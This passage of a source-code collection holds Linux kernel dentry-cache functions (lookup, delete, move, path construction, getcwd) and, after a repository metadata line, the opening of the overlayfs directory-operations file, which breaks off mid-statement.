spin_lock(&dentry->d_lock); if (dentry->d_parent != parent) goto next; if (d_unhashed(dentry)) goto next; /* * It is safe to compare names since d_move() cannot * change the qstr (protected by d_lock). */ tlen = dentry->d_name.len; tname = dentry->d_name.name; if (parent->d_flags & DCACHE_OP_COMPARE) { if (parent->d_op->d_compare(parent, parent->d_inode, dentry, dentry->d_inode, tlen, tname, name)) goto next; } else { if (dentry_cmp(tname, tlen, str, len)) goto next; } dentry->d_count++; found = dentry; spin_unlock(&dentry->d_lock); break; next: spin_unlock(&dentry->d_lock); } rcu_read_unlock(); return found; } /** * d_hash_and_lookup - hash the qstr then search for a dentry * @dir: Directory to search in * @name: qstr of name we wish to find * * On hash failure or on lookup failure NULL is returned. */ struct dentry *d_hash_and_lookup(struct dentry *dir, struct qstr *name) { struct dentry *dentry = NULL; /* * Check for a fs-specific hash function. Note that we must * calculate the standard hash first, as the d_op->d_hash() * routine may choose to leave the hash value unchanged. */ name->hash = full_name_hash(name->name, name->len); if (dir->d_flags & DCACHE_OP_HASH) { if (dir->d_op->d_hash(dir, dir->d_inode, name) < 0) goto out; } dentry = d_lookup(dir, name); out: return dentry; } /** * d_validate - verify dentry provided from insecure source (deprecated) * @dentry: The dentry alleged to be valid child of @dparent * @dparent: The parent dentry (known to be valid) * * An insecure source has sent us a dentry, here we verify it and dget() it. * This is used by ncpfs in its readdir implementation. * Zero is returned in the dentry is invalid. * * This function is slow for big directories, and deprecated, do not use it. */ int d_validate(struct dentry *dentry, struct dentry *dparent) { struct dentry *child; spin_lock(&dparent->d_lock); list_for_each_entry(child, &dparent->d_subdirs, d_u.d_child) { if (dentry == child) { spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); __dget_dlock(dentry); spin_unlock(&dentry->d_lock); spin_unlock(&dparent->d_lock); return 1; } } spin_unlock(&dparent->d_lock); return 0; } EXPORT_SYMBOL(d_validate); /* * When a file is deleted, we have two options: * - turn this dentry into a negative dentry * - unhash this dentry and free it. * * Usually, we want to just turn this into * a negative dentry, but if anybody else is * currently using the dentry or the inode * we can't do that and we fall back on removing * it from the hash queues and waiting for * it to be deleted later when it has no users */ /** * d_delete - delete a dentry * @dentry: The dentry to delete * * Turn the dentry into a negative dentry if possible, otherwise * remove it from the hash queues so it can be deleted later */ void d_delete(struct dentry * dentry) { struct inode *inode; int isdir = 0; /* * Are we the only user? */ again: spin_lock(&dentry->d_lock); inode = dentry->d_inode; isdir = S_ISDIR(inode->i_mode); if (dentry->d_count == 1) { if (inode && !spin_trylock(&inode->i_lock)) { spin_unlock(&dentry->d_lock); cpu_relax(); goto again; } dentry->d_flags &= ~DCACHE_CANT_MOUNT; dentry_unlink_inode(dentry); fsnotify_nameremove(dentry, isdir); return; } if (!d_unhashed(dentry)) __d_drop(dentry); spin_unlock(&dentry->d_lock); fsnotify_nameremove(dentry, isdir); } EXPORT_SYMBOL(d_delete); static void __d_rehash(struct dentry * entry, struct hlist_bl_head *b) { BUG_ON(!d_unhashed(entry)); hlist_bl_lock(b); entry->d_flags |= DCACHE_RCUACCESS; hlist_bl_add_head_rcu(&entry->d_hash, b); hlist_bl_unlock(b); } static void _d_rehash(struct dentry * entry) { __d_rehash(entry, d_hash(entry->d_parent, entry->d_name.hash)); } /** * d_rehash - add an entry back to the hash * @entry: dentry to add to the hash * * Adds a dentry to the hash according to its name. */ void d_rehash(struct dentry * entry) { spin_lock(&entry->d_lock); _d_rehash(entry); spin_unlock(&entry->d_lock); } EXPORT_SYMBOL(d_rehash); /** * dentry_update_name_case - update case insensitive dentry with a new name * @dentry: dentry to be updated * @name: new name * * Update a case insensitive dentry with new case of name. * * dentry must have been returned by d_lookup with name @name. Old and new * name lengths must match (ie. no d_compare which allows mismatched name * lengths). * * Parent inode i_mutex must be held over d_lookup and into this call (to * keep renames and concurrent inserts, and readdir(2) away). */ void dentry_update_name_case(struct dentry *dentry, struct qstr *name) { BUG_ON(!mutex_is_locked(&dentry->d_parent->d_inode->i_mutex)); BUG_ON(dentry->d_name.len != name->len); /* d_lookup gives this */ spin_lock(&dentry->d_lock); write_seqcount_begin(&dentry->d_seq); memcpy((unsigned char *)dentry->d_name.name, name->name, name->len); write_seqcount_end(&dentry->d_seq); spin_unlock(&dentry->d_lock); } EXPORT_SYMBOL(dentry_update_name_case); static void switch_names(struct dentry *dentry, struct dentry *target) { if (dname_external(target)) { if (dname_external(dentry)) { /* * Both external: swap the pointers */ swap(target->d_name.name, dentry->d_name.name); } else { /* * dentry:internal, target:external. Steal target's * storage and make target internal. */ memcpy(target->d_iname, dentry->d_name.name, dentry->d_name.len + 1); dentry->d_name.name = target->d_name.name; target->d_name.name = target->d_iname; } } else { if (dname_external(dentry)) { /* * dentry:external, target:internal. Give dentry's * storage to target and make dentry internal */ memcpy(dentry->d_iname, target->d_name.name, target->d_name.len + 1); target->d_name.name = dentry->d_name.name; dentry->d_name.name = dentry->d_iname; } else { /* * Both are internal. Just copy target to dentry */ memcpy(dentry->d_iname, target->d_name.name, target->d_name.len + 1); dentry->d_name.len = target->d_name.len; return; } } swap(dentry->d_name.len, target->d_name.len); } static void dentry_lock_for_move(struct dentry *dentry, struct dentry *target) { /* * XXXX: do we really need to take target->d_lock? */ if (IS_ROOT(dentry) || dentry->d_parent == target->d_parent) spin_lock(&target->d_parent->d_lock); else { if (d_ancestor(dentry->d_parent, target->d_parent)) { spin_lock(&dentry->d_parent->d_lock); spin_lock_nested(&target->d_parent->d_lock, DENTRY_D_LOCK_NESTED); } else { spin_lock(&target->d_parent->d_lock); spin_lock_nested(&dentry->d_parent->d_lock, DENTRY_D_LOCK_NESTED); } } if (target < dentry) { spin_lock_nested(&target->d_lock, 2); spin_lock_nested(&dentry->d_lock, 3); } else { spin_lock_nested(&dentry->d_lock, 2); spin_lock_nested(&target->d_lock, 3); } } static void dentry_unlock_parents_for_move(struct dentry *dentry, struct dentry *target) { if (target->d_parent != dentry->d_parent) spin_unlock(&dentry->d_parent->d_lock); if (target->d_parent != target) spin_unlock(&target->d_parent->d_lock); } /* * When switching names, the actual string doesn't strictly have to * be preserved in the target - because we're dropping the target * anyway. As such, we can just do a simple memcpy() to copy over * the new name before we switch. * * Note that we have to be a lot more careful about getting the hash * switched - we have to switch the hash value properly even if it * then no longer matches the actual (corrupted) string of the target. * The hash value has to match the hash queue that the dentry is on.. */ /* * __d_move - move a dentry * @dentry: entry to move * @target: new dentry * * Update the dcache to reflect the move of a file name. Negative * dcache entries should not be moved in this way. Caller must hold * rename_lock, the i_mutex of the source and target directories, * and the sb->s_vfs_rename_mutex if they differ. See lock_rename(). */ static void __d_move(struct dentry * dentry, struct dentry * target) { if (!dentry->d_inode) printk(KERN_WARNING "VFS: moving negative dcache entry\n"); BUG_ON(d_ancestor(dentry, target)); BUG_ON(d_ancestor(target, dentry)); dentry_lock_for_move(dentry, target); write_seqcount_begin(&dentry->d_seq); write_seqcount_begin(&target->d_seq); /* __d_drop does write_seqcount_barrier, but they're OK to nest. */ /* * Move the dentry to the target hash queue. Don't bother checking * for the same hash queue because of how unlikely it is. */ __d_drop(dentry); __d_rehash(dentry, d_hash(target->d_parent, target->d_name.hash)); /* Unhash the target: dput() will then get rid of it */ __d_drop(target); list_del(&dentry->d_u.d_child); list_del(&target->d_u.d_child); /* Switch the names.. */ switch_names(dentry, target); swap(dentry->d_name.hash, target->d_name.hash); /* ... and switch the parents */ if (IS_ROOT(dentry)) { dentry->d_parent = target->d_parent; target->d_parent = target; INIT_LIST_HEAD(&target->d_u.d_child); } else { swap(dentry->d_parent, target->d_parent); /* And add them back to the (new) parent lists */ list_add(&target->d_u.d_child, &target->d_parent->d_subdirs); } list_add(&dentry->d_u.d_child, &dentry->d_parent->d_subdirs); write_seqcount_end(&target->d_seq); write_seqcount_end(&dentry->d_seq); dentry_unlock_parents_for_move(dentry, target); spin_unlock(&target->d_lock); fsnotify_d_move(dentry); spin_unlock(&dentry->d_lock); } /* * d_move - move a dentry * @dentry: entry to move * @target: new dentry * * Update the dcache to reflect the move of a file name. Negative * dcache entries should not be moved in this way. See the locking * requirements for __d_move. */ void d_move(struct dentry *dentry, struct dentry *target) { write_seqlock(&rename_lock); __d_move(dentry, target); write_sequnlock(&rename_lock); } EXPORT_SYMBOL(d_move); /** * d_ancestor - search for an ancestor * @p1: ancestor dentry * @p2: child dentry * * Returns the ancestor dentry of p2 which is a child of p1, if p1 is * an ancestor of p2, else NULL. */ struct dentry *d_ancestor(struct dentry *p1, struct dentry *p2) { struct dentry *p; for (p = p2; !IS_ROOT(p); p = p->d_parent) { if (p->d_parent == p1) return p; } return NULL; } /* * This helper attempts to cope with remotely renamed directories * * It assumes that the caller is already holding * dentry->d_parent->d_inode->i_mutex, inode->i_lock and rename_lock * * Note: If ever the locking in lock_rename() changes, then please * remember to update this too... */ static struct dentry *__d_unalias(struct inode *inode, struct dentry *dentry, struct dentry *alias) { struct mutex *m1 = NULL, *m2 = NULL; struct dentry *ret; /* If alias and dentry share a parent, then no extra locks required */ if (alias->d_parent == dentry->d_parent) goto out_unalias; /* See lock_rename() */ ret = ERR_PTR(-EBUSY); if (!mutex_trylock(&dentry->d_sb->s_vfs_rename_mutex)) goto out_err; m1 = &dentry->d_sb->s_vfs_rename_mutex; if (!mutex_trylock(&alias->d_parent->d_inode->i_mutex)) goto out_err; m2 = &alias->d_parent->d_inode->i_mutex; out_unalias: __d_move(alias, dentry); ret = alias; out_err: spin_unlock(&inode->i_lock); if (m2) mutex_unlock(m2); if (m1) mutex_unlock(m1); return ret; } /* * Prepare an anonymous dentry for life in the superblock's dentry tree as a * named dentry in place of the dentry to be replaced. * returns with anon->d_lock held! */ static void __d_materialise_dentry(struct dentry *dentry, struct dentry *anon) { struct dentry *dparent, *aparent; dentry_lock_for_move(anon, dentry); write_seqcount_begin(&dentry->d_seq); write_seqcount_begin(&anon->d_seq); dparent = dentry->d_parent; aparent = anon->d_parent; switch_names(dentry, anon); swap(dentry->d_name.hash, anon->d_name.hash); dentry->d_parent = (aparent == anon) ? dentry : aparent; list_del(&dentry->d_u.d_child); if (!IS_ROOT(dentry)) list_add(&dentry->d_u.d_child, &dentry->d_parent->d_subdirs); else INIT_LIST_HEAD(&dentry->d_u.d_child); anon->d_parent = (dparent == dentry) ? anon : dparent; list_del(&anon->d_u.d_child); if (!IS_ROOT(anon)) list_add(&anon->d_u.d_child, &anon->d_parent->d_subdirs); else INIT_LIST_HEAD(&anon->d_u.d_child); write_seqcount_end(&dentry->d_seq); write_seqcount_end(&anon->d_seq); dentry_unlock_parents_for_move(anon, dentry); spin_unlock(&dentry->d_lock); /* anon->d_lock still locked, returns locked */ anon->d_flags &= ~DCACHE_DISCONNECTED; } /** * d_materialise_unique - introduce an inode into the tree * @dentry: candidate dentry * @inode: inode to bind to the dentry, to which aliases may be attached * * Introduces an dentry into the tree, substituting an extant disconnected * root directory alias in its place if there is one. Caller must hold the * i_mutex of the parent directory. */ struct dentry *d_materialise_unique(struct dentry *dentry, struct inode *inode) { struct dentry *actual; BUG_ON(!d_unhashed(dentry)); if (!inode) { actual = dentry; __d_instantiate(dentry, NULL); d_rehash(actual); goto out_nolock; } spin_lock(&inode->i_lock); if (S_ISDIR(inode->i_mode)) { struct dentry *alias; /* Does an aliased dentry already exist? */ alias = __d_find_alias(inode, 0); if (alias) { actual = alias; write_seqlock(&rename_lock); if (d_ancestor(alias, dentry)) { /* Check for loops */ actual = ERR_PTR(-ELOOP); spin_unlock(&inode->i_lock); } else if (IS_ROOT(alias)) { /* Is this an anonymous mountpoint that we * could splice into our tree? */ __d_materialise_dentry(dentry, alias); write_sequnlock(&rename_lock); __d_drop(alias); goto found; } else { /* Nope, but we must(!) avoid directory * aliasing. This drops inode->i_lock */ actual = __d_unalias(inode, dentry, alias); } write_sequnlock(&rename_lock); if (IS_ERR(actual)) { if (PTR_ERR(actual) == -ELOOP) pr_warn_ratelimited( "VFS: Lookup of '%s' in %s %s" " would have caused loop\n", dentry->d_name.name, inode->i_sb->s_type->name, inode->i_sb->s_id); dput(alias); } goto out_nolock; } } /* Add a unique reference */ actual = __d_instantiate_unique(dentry, inode); if (!actual) actual = dentry; else BUG_ON(!d_unhashed(actual)); spin_lock(&actual->d_lock); found: _d_rehash(actual); spin_unlock(&actual->d_lock); spin_unlock(&inode->i_lock); out_nolock: if (actual == dentry) { security_d_instantiate(dentry, inode); return NULL; } iput(inode); return actual; } EXPORT_SYMBOL_GPL(d_materialise_unique); static int prepend(char **buffer, int *buflen, const char *str, int namelen) { *buflen -= namelen; if (*buflen < 0) return -ENAMETOOLONG; *buffer -= namelen; memcpy(*buffer, str, namelen); return 0; } static int prepend_name(char **buffer, int *buflen, struct qstr *name) { return prepend(buffer, buflen, name->name, name->len); } /** * prepend_path - Prepend path string to a buffer * @path: the dentry/vfsmount to report * @root: root vfsmnt/dentry * @buffer: pointer to the end of the buffer * @buflen: pointer to buffer length * * Caller holds the rename_lock. */ static int prepend_path(const struct path *path, const struct path *root, char **buffer, int *buflen) { struct dentry *dentry = path->dentry; struct vfsmount *vfsmnt = path->mnt; struct mount *mnt = real_mount(vfsmnt); bool slash = false; int error = 0; br_read_lock(&vfsmount_lock); while (dentry != root->dentry || vfsmnt != root->mnt) { struct dentry * parent; if (dentry == vfsmnt->mnt_root || IS_ROOT(dentry)) { /* Global root? */ if (!mnt_has_parent(mnt)) goto global_root; dentry = mnt->mnt_mountpoint; mnt = mnt->mnt_parent; vfsmnt = &mnt->mnt; continue; } parent = dentry->d_parent; prefetch(parent); spin_lock(&dentry->d_lock); error = prepend_name(buffer, buflen, &dentry->d_name); spin_unlock(&dentry->d_lock); if (!error) error = prepend(buffer, buflen, "/", 1); if (error) break; slash = true; dentry = parent; } if (!error && !slash) error = prepend(buffer, buflen, "/", 1); out: br_read_unlock(&vfsmount_lock); return error; global_root: /* * Filesystems needing to implement special "root names" * should do so with ->d_dname() */ if (IS_ROOT(dentry) && (dentry->d_name.len != 1 || dentry->d_name.name[0] != '/')) { WARN(1, "Root dentry has weird name <%.*s>\n", (int) dentry->d_name.len, dentry->d_name.name); } if (!slash) error = prepend(buffer, buflen, "/", 1); if (!error) error = is_mounted(vfsmnt) ? 1 : 2; goto out; } /** * __d_path - return the path of a dentry * @path: the dentry/vfsmount to report * @root: root vfsmnt/dentry * @buf: buffer to return value in * @buflen: buffer length * * Convert a dentry into an ASCII path name. * * Returns a pointer into the buffer or an error code if the * path was too long. * * "buflen" should be positive. * * If the path is not reachable from the supplied root, return %NULL. */ char *__d_path(const struct path *path, const struct path *root, char *buf, int buflen) { char *res = buf + buflen; int error; prepend(&res, &buflen, "\0", 1); write_seqlock(&rename_lock); error = prepend_path(path, root, &res, &buflen); write_sequnlock(&rename_lock); if (error < 0) return ERR_PTR(error); if (error > 0) return NULL; return res; } char *d_absolute_path(const struct path *path, char *buf, int buflen) { struct path root = {}; char *res = buf + buflen; int error; prepend(&res, &buflen, "\0", 1); write_seqlock(&rename_lock); error = prepend_path(path, &root, &res, &buflen); write_sequnlock(&rename_lock); if (error > 1) error = -EINVAL; if (error < 0) return ERR_PTR(error); return res; } /* * same as __d_path but appends "(deleted)" for unlinked files. */ static int path_with_deleted(const struct path *path, const struct path *root, char **buf, int *buflen) { prepend(buf, buflen, "\0", 1); if (d_unlinked(path->dentry)) { int error = prepend(buf, buflen, " (deleted)", 10); if (error) return error; } return prepend_path(path, root, buf, buflen); } static int prepend_unreachable(char **buffer, int *buflen) { return prepend(buffer, buflen, "(unreachable)", 13); } /** * d_path - return the path of a dentry * @path: path to report * @buf: buffer to return value in * @buflen: buffer length * * Convert a dentry into an ASCII path name. If the entry has been deleted * the string " (deleted)" is appended. Note that this is ambiguous. * * Returns a pointer into the buffer or an error code if the path was * too long. Note: Callers should use the returned pointer, not the passed * in buffer, to use the name! The implementation often starts at an offset * into the buffer, and may leave 0 bytes at the start. * * "buflen" should be positive. */ char *d_path(const struct path *path, char *buf, int buflen) { char *res = buf + buflen; struct path root; int error; /* * We have various synthetic filesystems that never get mounted. On * these filesystems dentries are never used for lookup purposes, and * thus don't need to be hashed. They also don't need a name until a * user wants to identify the object in /proc/pid/fd/. The little hack * below allows us to generate a name for these objects on demand: */ if (path->dentry->d_op && path->dentry->d_op->d_dname) return path->dentry->d_op->d_dname(path->dentry, buf, buflen); get_fs_root(current->fs, &root); write_seqlock(&rename_lock); error = path_with_deleted(path, &root, &res, &buflen); if (error < 0) res = ERR_PTR(error); write_sequnlock(&rename_lock); path_put(&root); return res; } EXPORT_SYMBOL(d_path); /** * d_path_with_unreachable - return the path of a dentry * @path: path to report * @buf: buffer to return value in * @buflen: buffer length * * The difference from d_path() is that this prepends "(unreachable)" * to paths which are unreachable from the current process' root. */ char *d_path_with_unreachable(const struct path *path, char *buf, int buflen) { char *res = buf + buflen; struct path root; int error; if (path->dentry->d_op && path->dentry->d_op->d_dname) return path->dentry->d_op->d_dname(path->dentry, buf, buflen); get_fs_root(current->fs, &root); write_seqlock(&rename_lock); error = path_with_deleted(path, &root, &res, &buflen); if (error > 0) error = prepend_unreachable(&res, &buflen); write_sequnlock(&rename_lock); path_put(&root); if (error) res = ERR_PTR(error); return res; } /* * Helper function for dentry_operations.d_dname() members */ char *dynamic_dname(struct dentry *dentry, char *buffer, int buflen, const char *fmt, ...) { va_list args; char temp[256]; int sz; va_start(args, fmt); sz = vsnprintf(temp, sizeof(temp), fmt, args) + 1; va_end(args); if (sz > sizeof(temp) || sz > buflen) return ERR_PTR(-ENAMETOOLONG); buffer += buflen - sz; return memcpy(buffer, temp, sz); } /* * Write full pathname from the root of the filesystem into the buffer. */ static char *__dentry_path(struct dentry *dentry, char *buf, int buflen) { char *end = buf + buflen; char *retval; prepend(&end, &buflen, "\0", 1); if (buflen < 1) goto Elong; /* Get '/' right */ retval = end-1; *retval = '/'; while (!IS_ROOT(dentry)) { struct dentry *parent = dentry->d_parent; int error; prefetch(parent); spin_lock(&dentry->d_lock); error = prepend_name(&end, &buflen, &dentry->d_name); spin_unlock(&dentry->d_lock); if (error != 0 || prepend(&end, &buflen, "/", 1) != 0) goto Elong; retval = end; dentry = parent; } return retval; Elong: return ERR_PTR(-ENAMETOOLONG); } char *dentry_path_raw(struct dentry *dentry, char *buf, int buflen) { char *retval; write_seqlock(&rename_lock); retval = __dentry_path(dentry, buf, buflen); write_sequnlock(&rename_lock); return retval; } EXPORT_SYMBOL(dentry_path_raw); char *dentry_path(struct dentry *dentry, char *buf, int buflen) { char *p = NULL; char *retval; write_seqlock(&rename_lock); if (d_unlinked(dentry)) { p = buf + buflen; if (prepend(&p, &buflen, "//deleted", 10) != 0) goto Elong; buflen++; } retval = __dentry_path(dentry, buf, buflen); write_sequnlock(&rename_lock); if (!IS_ERR(retval) && p) *p = '/'; /* restore '/' overriden with '\0' */ return retval; Elong: return ERR_PTR(-ENAMETOOLONG); } /* * NOTE! The user-level library version returns a * character pointer. The kernel system call just * returns the length of the buffer filled (which * includes the ending '\0' character), or a negative * error value. So libc would do something like * * char *getcwd(char * buf, size_t size) * { * int retval; * * retval = sys_getcwd(buf, size); * if (retval >= 0) * return buf; * errno = -retval; * return NULL; * } */ SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size) { int error; struct path pwd, root; char *page = (char *) __get_free_page(GFP_USER); if (!page) return -ENOMEM; get_fs_root_and_pwd(current->fs, &root, &pwd); error = -ENOENT; write_seqlock(&rename_lock); if (!d_unlinked(pwd.dentry)) { unsigned long len; char *cwd = page + PAGE_SIZE; int buflen = PAGE_SIZE; prepend(&cwd, &buflen, "\0", 1); error = prepend_path(&pwd, &root, &cwd, &buflen); write_sequnlock(&rename_lock); if (error < 0) goto out; /* Unreachable from current root */ if (error > 0) { error = prepend_unreachable(&cwd, &buflen); if (error) goto out; } error = -ERANGE; len = PAGE_SIZE + page - cwd; if (len <= size) { error = len; if (copy_to_user(buf, cwd, len)) error = -EFAULT; } } else { write_sequnlock(&rename_lock); } out: path_put(&pwd); path_put(&root); free_page((unsigned long) page); return error; } /* * Test whether new_dentry is a subdirectory of old_dentry. * * Trivially implemented using the dcache structure */ /** * is_subdir - is new dentry a subdirectory of old_dentry * @new_dentry: new dentry * @old_dentry: old dentry * * Returns 1 if new_dentry is a subdirectory of the parent (at any depth). * Returns 0 otherwise. * Caller must ensure that "new_dentry" is pinned before calling is_subdir() */ int is_subdir(struct dentry *new_dentry, struct dentry *old_dentry) { int result; unsigned seq; if (new_dentry == old_dentry) return 1; do { /* for restarting inner loop in case of seq retry */ seq = read_seqbegin(&rename_lock); /* * Need rcu_readlock to protect against the d_parent trashing * due to d_move */ rcu_read_lock(); if (d_ancestor(old_dentry, new_dentry)) result = 1; else result = 0; rcu_read_unlock(); } while (read_seqretry(&rename_lock, seq)); return result; } void d_genocide(struct dentry *root) { struct dentry *this_parent; struct list_head *next; unsigned seq; int locked = 0; seq = read_seqbegin(&rename_lock); again: this_parent = root; spin_lock(&this_parent->d_lock); repeat: next = this_parent->d_subdirs.next; resume: while (next != &this_parent->d_subdirs) { struct list_head *tmp = next; struct dentry *dentry = list_entry(tmp, struct dentry, d_u.d_child); next = tmp->next; spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); if (d_unhashed(dentry) || !dentry->d_inode) { spin_unlock(&dentry->d_lock); continue; } if (!list_empty(&dentry->d_subdirs)) { spin_unlock(&this_parent->d_lock); spin_release(&dentry->d_lock.dep_map, 1, _RET_IP_); this_parent = dentry; spin_acquire(&this_parent->d_lock.dep_map, 0, 1, _RET_IP_); goto repeat; } if (!(dentry->d_flags & DCACHE_GENOCIDE)) { dentry->d_flags |= DCACHE_GENOCIDE; dentry->d_count--; } spin_unlock(&dentry->d_lock); } if (this_parent != root) { struct dentry *child = this_parent; if (!(this_parent->d_flags & DCACHE_GENOCIDE)) { this_parent->d_flags |= DCACHE_GENOCIDE; this_parent->d_count--; } this_parent = try_to_ascend(this_parent, locked, seq); if (!this_parent) goto rename_retry; next = child->d_u.d_child.next; goto resume; } spin_unlock(&this_parent->d_lock); if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; if (locked) write_sequnlock(&rename_lock); return; rename_retry: if (locked) goto again; locked = 1; write_seqlock(&rename_lock); goto again; } /** * find_inode_number - check for dentry with name * @dir: directory to check * @name: Name to find. * * Check whether a dentry already exists for the given name, * and return the inode number if it has an inode. Otherwise * 0 is returned. * * This routine is used to post-process directory listings for * filesystems using synthetic inode numbers, and is necessary * to keep getcwd() working. */ ino_t find_inode_number(struct dentry *dir, struct qstr *name) { struct dentry * dentry; ino_t ino = 0; dentry = d_hash_and_lookup(dir, name); if (dentry) { if (dentry->d_inode) ino = dentry->d_inode->i_ino; dput(dentry); } return ino; } EXPORT_SYMBOL(find_inode_number); static __initdata unsigned long dhash_entries; static int __init set_dhash_entries(char *str) { if (!str) return 0; dhash_entries = simple_strtoul(str, &str, 0); return 1; } __setup("dhash_entries=", set_dhash_entries); static void __init dcache_init_early(void) { unsigned int loop; /* If hashes are distributed across NUMA nodes, defer * hash allocation until vmalloc space is available. */ if (hashdist) return; dentry_hashtable = alloc_large_system_hash("Dentry cache", sizeof(struct hlist_bl_head), dhash_entries, 13, HASH_EARLY, &d_hash_shift, &d_hash_mask, 0); for (loop = 0; loop < (1U << d_hash_shift); loop++) INIT_HLIST_BL_HEAD(dentry_hashtable + loop); } static void __init dcache_init(void) { unsigned int loop; /* * A constructor could be added for stable state like the lists, * but it is probably not worth it because of the cache nature * of the dcache. */ dentry_cache = KMEM_CACHE(dentry, SLAB_RECLAIM_ACCOUNT|SLAB_PANIC|SLAB_MEM_SPREAD); /* Hash may have been set up in dcache_init_early */ if (!hashdist) return; dentry_hashtable = alloc_large_system_hash("Dentry cache", sizeof(struct hlist_bl_head), dhash_entries, 13, 0, &d_hash_shift, &d_hash_mask, 0); for (loop = 0; loop < (1U << d_hash_shift); loop++) INIT_HLIST_BL_HEAD(dentry_hashtable + loop); } /* SLAB cache for __getname() consumers */ struct kmem_cache *names_cachep __read_mostly; EXPORT_SYMBOL(names_cachep); EXPORT_SYMBOL(d_genocide); void __init vfs_caches_init_early(void) { dcache_init_early(); inode_init_early(); } void __init vfs_caches_init(unsigned long mempages) { unsigned long reserve; /* Base hash sizes on available memory, with a reserve equal to 150% of current kernel size */ reserve = min((mempages - nr_free_pages()) * 3/2, mempages - 1); mempages -= reserve; names_cachep = kmem_cache_create("names_cache", PATH_MAX, 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); dcache_init(); inode_init(); files_init(mempages); mnt_init(); bdev_cache_init(); chrdev_init(); }
gpl-2.0
Blefish/kernel_common
fs/overlayfs/dir.c
22541
/* * * Copyright (C) 2011 Novell Inc. * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 as published by * the Free Software Foundation. */ #include <linux/fs.h> #include <linux/namei.h> #include <linux/xattr.h> #include <linux/security.h> #include <linux/cred.h> #include <linux/atomic.h> #include "overlayfs.h" void ovl_cleanup(struct inode *wdir, struct dentry *wdentry) { int err; dget(wdentry); if (d_is_dir(wdentry)) err = ovl_do_rmdir(wdir, wdentry); else err = ovl_do_unlink(wdir, wdentry); dput(wdentry); if (err) { pr_err("overlayfs: cleanup of '%pd2' failed (%i)\n", wdentry, err); } } struct dentry *ovl_lookup_temp(struct dentry *workdir, struct dentry *dentry) { struct dentry *temp; char name[20]; static atomic_t temp_id = ATOMIC_INIT(0); /* counter is allowed to wrap, since temp dentries are ephemeral */ snprintf(name, sizeof(name), "#%x", atomic_inc_return(&temp_id)); temp = lookup_one_len(name, workdir, strlen(name)); if (!IS_ERR(temp) && temp->d_inode) { pr_err("overlayfs: workdir/%s already exists\n", name); dput(temp); temp = ERR_PTR(-EIO); } return temp; } /* caller holds i_mutex on workdir */ static struct dentry *ovl_whiteout(struct dentry *workdir, struct dentry *dentry) { int err; struct dentry *whiteout; struct inode *wdir = workdir->d_inode; whiteout = ovl_lookup_temp(workdir, dentry); if (IS_ERR(whiteout)) return whiteout; err = ovl_do_whiteout(wdir, whiteout); if (err) { dput(whiteout); whiteout = ERR_PTR(err); } return whiteout; } int ovl_create_real(struct inode *dir, struct dentry *newdentry, struct kstat *stat, const char *link, struct dentry *hardlink, bool debug) { int err; if (newdentry->d_inode) return -ESTALE; if (hardlink) { err = ovl_do_link(hardlink, dir, newdentry, debug); } else { switch (stat->mode & S_IFMT) { case S_IFREG: err = ovl_do_create(dir, newdentry, stat->mode, debug); break; case S_IFDIR: err = ovl_do_mkdir(dir, newdentry, stat->mode, debug); break; case S_IFCHR: case S_IFBLK: case S_IFIFO: case S_IFSOCK: err = ovl_do_mknod(dir, newdentry, stat->mode, stat->rdev, debug); break; case S_IFLNK: err = ovl_do_symlink(dir, newdentry, link, debug); break; default: err = -EPERM; } } if (!err && WARN_ON(!newdentry->d_inode)) { /* * Not quite sure if non-instantiated dentry is legal or not. * VFS doesn't seem to care so check and warn here. */ err = -ENOENT; } return err; } static int ovl_set_opaque(struct dentry *upperdentry) { return ovl_do_setxattr(upperdentry, OVL_XATTR_OPAQUE, "y", 1, 0); } static void ovl_remove_opaque(struct dentry *upperdentry) { int err; err = ovl_do_removexattr(upperdentry, OVL_XATTR_OPAQUE); if (err) { pr_warn("overlayfs: failed to remove opaque from '%s' (%i)\n", upperdentry->d_name.name, err); } } static int ovl_dir_getattr(struct vfsmount *mnt, struct dentry *dentry, struct kstat *stat) { int err; enum ovl_path_type type; struct path realpath; type = ovl_path_real(dentry, &realpath); err = vfs_getattr(&realpath, stat); if (err) return err; stat->dev = dentry->d_sb->s_dev; stat->ino = dentry->d_inode->i_ino; /* * It's probably not worth it to count subdirs to get the * correct link count. nlink=1 seems to pacify 'find' and * other utilities. */ if (OVL_TYPE_MERGE(type)) stat->nlink = 1; return 0; } static int ovl_create_upper(struct dentry *dentry, struct inode *inode, struct kstat *stat, const char *link, struct dentry *hardlink) { struct dentry *upperdir = ovl_dentry_upper(dentry->d_parent); struct inode *udir = upperdir->d_inode; struct dentry *newdentry; int err; mutex_lock_nested(&udir->i_mutex, I_MUTEX_PARENT); newdentry = lookup_one_len(dentry->d_name.name, upperdir, dentry->d_name.len); err = PTR_ERR(newdentry); if (IS_ERR(newdentry)) goto out_unlock; err = ovl_create_real(udir, newdentry, stat, link, hardlink, false); if (err) goto out_dput; ovl_dentry_version_inc(dentry->d_parent); ovl_dentry_update(dentry, newdentry); ovl_copyattr(newdentry->d_inode, inode); d_instantiate(dentry, inode); newdentry = NULL; out_dput: dput(newdentry); out_unlock: mutex_unlock(&udir->i_mutex); return err; } static int ovl_lock_rename_workdir(struct dentry *workdir, struct dentry *upperdir) { /* Workdir should not be the same as upperdir */ if (workdir == upperdir) goto err; /* Workdir should not be subdir of upperdir and vice versa */ if (lock_rename(workdir, upperdir) != NULL) goto err_unlock; return 0; err_unlock: unlock_rename(workdir, upperdir); err: pr_err("overlayfs: failed to lock workdir+upperdir\n"); return -EIO; } static struct dentry *ovl_clear_empty(struct dentry *dentry, struct list_head *list) { struct dentry *workdir = ovl_workdir(dentry); struct inode *wdir = workdir->d_inode; struct dentry *upperdir = ovl_dentry_upper(dentry->d_parent); struct inode *udir = upperdir->d_inode; struct path upperpath; struct dentry *upper; struct dentry *opaquedir; struct kstat stat; int err; if (WARN_ON(!workdir)) return ERR_PTR(-EROFS); err = ovl_lock_rename_workdir(workdir, upperdir); if (err) goto out; ovl_path_upper(dentry, &upperpath); err = vfs_getattr(&upperpath, &stat); if (err) goto out_unlock; err = -ESTALE; if (!S_ISDIR(stat.mode)) goto out_unlock; upper = upperpath.dentry; if (upper->d_parent->d_inode != udir) goto out_unlock; opaquedir = ovl_lookup_temp(workdir, dentry); err = 